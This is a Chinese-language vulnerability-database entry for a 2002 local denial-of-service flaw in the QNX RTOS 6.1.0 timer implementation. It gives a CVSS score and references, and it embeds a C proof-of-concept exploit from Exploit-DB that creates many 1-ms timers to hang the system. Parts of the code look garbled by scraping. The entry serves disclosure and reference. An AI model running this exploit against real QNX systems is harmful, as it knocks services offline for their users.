发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:32:01

[原文]The timer implementation in QNX RTOS 6.1.0 allows local users to cause a denial of service (hang) and possibly execute arbitrary code by creating multiple timers with a 1-ms tick.

[CNNVD]QNX TimeCreate本地服务拒绝漏洞(CNNVD-200212-479)

        QNX RTOS 6.1.0版本的计时器装置存在漏洞。本地用户通过创建多个带有1-ms滴答的计时器导致服务拒绝(挂起)且可能执行任意代码。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  qnx-rtp-timer-dos(10550)
(UNKNOWN)  BID  6114
(UNKNOWN)  BUGTRAQ  20021106 QNX 6.1 TimeCreate weakness

- 漏洞信息

QNX TimeCreate本地服务拒绝漏洞
低危 其他
2002-12-31 00:00:00 2005-10-20 00:00:00
        QNX RTOS 6.1.0版本的计时器装置存在漏洞。本地用户通过创建多个带有1-ms滴答的计时器导致服务拒绝(挂起)且可能执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: .

- 漏洞信息 (21984)

QNX 6.1 TimeCreate Local Denial of Service Vulnerability (EDBID:21984)
unix dos
2002-11-06 Verified
0 Pawel Pisarczyk
N/A [点击下载]

A denial of service vulnerability has been discovered in QNX.

It has been reported that it is possible for unprivileged users to cause QNX systems to stop responding, by creating multiple timers containing specific characteristics.

It should be noted that this issue was reported for QNX 6.1. It is not yet known whether this issue affects other releases.

 * QNX RTP 6.1 Local DoS exploit
 * author: Pawel Pisarczyk <>, 2002
 * After compilation and output binary execution system hangs.
#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>

int main(int argc, char *argv[])
	struct sigevent event;
	struct _itimer itimer;
	int chid;
	int tmid;
	int coid;
	int k;

	if ((chid = ChannelCreate(0)) < 0) {
		fprintf(stderr, "Can't create channel!\n");
	if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
		fprintf(stderr, "Can't connect to channel!\n");
	for (k = 0; k < 16; k++) {
		SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
		if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
			fprintf(stderr, "Can't create timer!\n");
			return -1;

		itimer.nsec = 1000000;
		itimer.interval_nsec = 1000000;
		TimerSettime(tmid, 0, &itimer, NULL);
	while (getc(stdin) != '#');
	return 0;

- 漏洞信息

QNX RTOS Timer Implementation Local DoS
Local Access Required Denial of Service
Loss of Availability Solution Unknown

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-11-06 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete